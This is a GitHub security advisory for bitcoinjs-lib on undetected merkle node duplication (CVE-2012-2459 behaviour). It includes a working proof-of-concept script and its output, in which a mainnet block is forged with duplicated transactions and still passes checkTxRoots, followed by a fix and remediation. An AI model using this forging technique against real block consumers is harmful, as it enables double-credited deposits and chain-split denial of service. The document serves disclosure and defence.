{"id":"GHSA-8vv3-6qpc-gpw6","summary":"bitcoinjs-lib: Undetected merkle node duplication in block root computation validates a forged transaction list","details":"### Summary\n`fastMerkleRoot` pads an odd level by hashing the last node with itself. It does not report that it did so, and `checkTxRoots` never looks for repeated transactions. A peer can therefore duplicate transactions to fill the pad and produce a block with a different transaction list but the same merkle root. The block hash and block id do not change, so the header still carries valid proof of work. In the proof of concept a real mainnet block goes from nine transactions to ten, and separately to twelve, with the same id every time, and `checkTxRoots` accepts all three. Bitcoin Core rejects this case through the `mutated` flag in `ComputeMerkleRoot` and the `bad-txns-duplicate` reason in `CheckBlock`. This is CVE-2012-2459.\n\n### Details\nA bitcoin merkle tree pads an odd level by hashing the last node with itself. Duplicating transactions to fill that pad therefore yields the same root for a different transaction list. This is CVE-2012-2459. Bitcoin Core detects it in `ComputeMerkleRoot`, which scans each level for two adjacent equal hashes before padding and raises a `mutated` flag when it finds a pair, and `CheckBlock` then rejects the block with `bad-txns-duplicate`.\n\n```cpp\nuint256 ComputeMerkleRoot(std::vector\u003cuint256\u003e hashes, bool* mutated) {\n    bool mutation = false;\n    while (hashes.size() \u003e 1) {\n        if (mutated) {\n            for (size_t pos = 0; pos + 1 \u003c hashes.size(); pos += 2) {\n                if (hashes[pos] == hashes[pos + 1]) mutation = true;\n            }\n        }\n        if (hashes.size() & 1) {\n            hashes.push_back(hashes.back());\n        }\n        ...\n```\n\nThe forged block carries the duplicate in its own transaction list, so the pair is present at a level and the flag is raised. The honest block has no such pair and is unaffected.\n\n`fastMerkleRoot` performs the duplication and reports nothing.\n\n```js\nwhile (length \u003e 1) {\n  let j = 0;\n  for (let i = 0; i \u003c length; i += 2, ++j) {\n    const left = results[i];\n    const right = i + 1 === length ? left : results[i + 1];\n    const data = tools.concat([left, right]);\n    results[j] = digestFn(data);\n  }\n  length = j;\n}\nreturn results[0];\n```\n\n`Block.calculateMerkleRoot` returns that value unchanged, and `__checkMerkleRoot` only compares it to the header field.\n\n```js\nprivate __checkMerkleRoot(): boolean {\n  if (!this.transactions) throw errorMerkleNoTxes;\n  const actualMerkleRoot = Block.calculateMerkleRoot(this.transactions);\n  return tools.compare(this.merkleRoot!, actualMerkleRoot) === 0;\n}\n```\n\nNothing anywhere in `ts_src` looks for an adjacent duplicate pair or for a repeated txid. `checkTxRoots` is the library's advertised block integrity gate and it inherits the gap.\n\n### PoC\n```js\nimport { createRequire } from 'module';\nconst require = createRequire(import.meta.url);\nimport { Block } from 'bitcoinjs-lib/src/block';\nconst fs = require('fs');\nconst hex = (u) =\u003e Buffer.from(u).toString('hex');\n\n// Real mainnet block, from the Bitcoin Core vector set shipped in this repo.\nconst f = JSON.parse(fs.readFileSync(\n  'test/fixtures/core/blocks.json', 'utf8'))[0];\n\nconst honest = Block.fromHex(f.hex);\nconsole.log('honest block id       :', honest.getId());\nconsole.log('id matches fixture    :', honest.getId() === f.id);\nconsole.log('transactions          :', honest.transactions.length);\nconsole.log('merkle root           :', hex(honest.merkleRoot));\nconsole.log('checkTxRoots()        :', honest.checkTxRoots());\nconsole.log('serialized bytes      :', honest.toBuffer().length);\n\n// Attacker duplicates the last transaction and relays the result.\nconst forged = Block.fromHex(f.hex);\nforged.transactions = forged.transactions.concat([\n  forged.transactions[forged.transactions.length - 1],\n]);\n// Round trip through the real parser, exactly as a P2P block message arrives.\nconst parsed = Block.fromHex(forged.toHex());\n\nconsole.log('');\nconsole.log('forged block id       :', parsed.getId());\nconsole.log('transactions          :', parsed.transactions.length);\nconsole.log('merkle root           :', hex(parsed.merkleRoot));\nconsole.log('recomputed merkle root:', hex(Block.calculateMerkleRoot(parsed.transactions)));\nconsole.log('checkTxRoots()        :', parsed.checkTxRoots());\nconsole.log('serialized bytes      :', parsed.toBuffer().length);\n\nconst ids = parsed.transactions.map((t) =\u003e t.getId());\nconsole.log('');\nconsole.log('same block id                 :', honest.getId() === parsed.getId());\nconsole.log('different serialized bytes    :', honest.toHex() !== parsed.toHex());\nconsole.log('different transaction lists   :', honest.transactions.length !== parsed.transactions.length);\nconsole.log('duplicate txid inside forged  :', new Set(ids).size !== ids.length);\nconsole.log('both accepted by checkTxRoots :', honest.checkTxRoots() && parsed.checkTxRoots());\n```\n\nOutput on bitcoinjs-lib v7.0.1:\n\n```\nhonest block id       : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af\nid matches fixture    : true\ntransactions          : 9\nmerkle root           : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f\ncheckTxRoots()        : true\nserialized bytes      : 3054\n\nforged block id       : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af\ntransactions          : 10\nmerkle root           : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f\nrecomputed merkle root: 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f\ncheckTxRoots()        : true\nserialized bytes      : 3313\n\nsame block id                 : true\ndifferent serialized bytes    : true\ndifferent transaction lists   : true\nduplicate txid inside forged  : true\nboth accepted by checkTxRoots : true\n```\n\nThe honest block is the control. It is a genuine mainnet block whose id matches the fixture and which validates. The forged block carries a different transaction list and 259 more bytes, yet produces the identical root and id and is also accepted.\n\n### Impact\nMost real blocks reach an odd node count at some level, so most are rewritable. Any peer can relay a mutated copy of a block that already exists on chain. No mining is required, because the header never changes. An explorer, exchange indexer or SPV client that gates on `checkTxRoots` sees the duplicated transaction twice and can credit the same deposit twice. A consumer that responds by blacklisting the block hash then rejects the honest block as well, which is the chain split denial of service described in the original CVE. Severity depends on the consumer, since block validation is a smaller part of this library's use than transaction handling. Bitcoin Core's rejection is taken from its published `ComputeMerkleRoot` and `CheckBlock` source rather than executed against a running node. The fix is to scan each level for two adjacent equal hashes and to return false from `checkTxRoots` when a pair is found, matching the `mutated` output parameter Core threads from `ComputeMerkleRoot` into `CheckBlock`.\n\n### Fix\n\nReport the padding case out of the root computation and act on it.\n\n```js\nexport function fastMerkleRoot(\n  values: Uint8Array[],\n  digestFn: (b: Uint8Array) =\u003e Uint8Array,\n  mutated?: { value: boolean },\n): Uint8Array {\n  ...\n  while (length \u003e 1) {\n    let j = 0;\n    for (let i = 0; i \u003c length; i += 2, ++j) {\n      const left = results[i];\n      const right = i + 1 === length ? left : results[i + 1];\n      if (i + 1 \u003c length && tools.compare(left, right) === 0 && mutated)\n        mutated.value = true;\n      results[j] = digestFn(tools.concat([left, right]));\n    }\n    length = j;\n  }\n  return results[0];\n}\n```\n\nThread the flag through `Block.calculateMerkleRoot` and have `__checkMerkleRoot` return false when it is set, so a block containing an adjacent duplicate pair at any level is rejected the way `CheckBlock` rejects it with `bad-txns-duplicate`. Rejecting any block that contains a repeated txid gives the same result and is simpler to audit.\n\n### Affected versions\n\n- Versions 2.3.0 through 5.2.0.\n- Versions 6.0.0 through 6.1.7, including 6.1.0-rc.0.\n- Versions 7.0.0-rc.0 through 7.0.1.\n\nThe affected block-root verifier was introduced in 2.3.0 as `Block.checkMerkleRoot()`, alongside `Block.calculateMerkleRoot()`. Later versions expose block-root validation through `Block.checkTxRoots()`.\n\n### Remediation\n\nUpgrade to bitcoinjs-lib 5.2.1, 6.1.8 or 7.0.2, or a later patched release on the corresponding line. Versions below v5 have no in-line patch and require upgrading to a fixed line.\n\nThe fix detects adjacent equal hashes at each level before odd-node padding and makes block-root validation reject mutated transaction trees.","aliases":["CVE-2026-107846"],"modified":"2026-11-10T16:15:05.948337489Z","published":"2026-11-10T15:57:25Z","database_specific":{"github_reviewed_at":"2026-11-10T15:57:25Z","nvd_published_at":"2026-11-04T19:17:18Z","cwe_ids":["CWE-354"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/bitcoinjs/bitcoinjs-lib/security/advisories/GHSA-8vv3-6qpc-gpw6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107846"},{"type":"WEB","url":"https://github.com/bitcoinjs/bitcoinjs-lib/commit/009f165edfbf925cad8964b2dce478d18dd19449"},{"type":"WEB","url":"https://github.com/bitcoinjs/bitcoinjs-lib/commit/b79c7714c0687473dc6e25c69fc5fc597302c7a0"},{"type":"WEB","url":"https://github.com/bitcoinjs/bitcoinjs-lib/commit/f3434d1e4bb5e0784fe769c4cd08a243576232a1"},{"type":"PACKAGE","url":"https://github.com/bitcoinjs/bitcoinjs-lib"}],"affected":[{"package":{"name":"bitcoinjs-lib","ecosystem":"npm","purl":"pkg:npm/bitcoinjs-lib"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.3.0"},{"fixed":"5.2.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8vv3-6qpc-gpw6/GHSA-8vv3-6qpc-gpw6.json"}},{"package":{"name":"bitcoinjs-lib","ecosystem":"npm","purl":"pkg:npm/bitcoinjs-lib"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.0.0"},{"fixed":"6.1.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8vv3-6qpc-gpw6/GHSA-8vv3-6qpc-gpw6.json"}},{"package":{"name":"bitcoinjs-lib","ecosystem":"npm","purl":"pkg:npm/bitcoinjs-lib"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0-rc.0"},{"fixed":"7.0.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8vv3-6qpc-gpw6/GHSA-8vv3-6qpc-gpw6.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:H/SA:H"}]}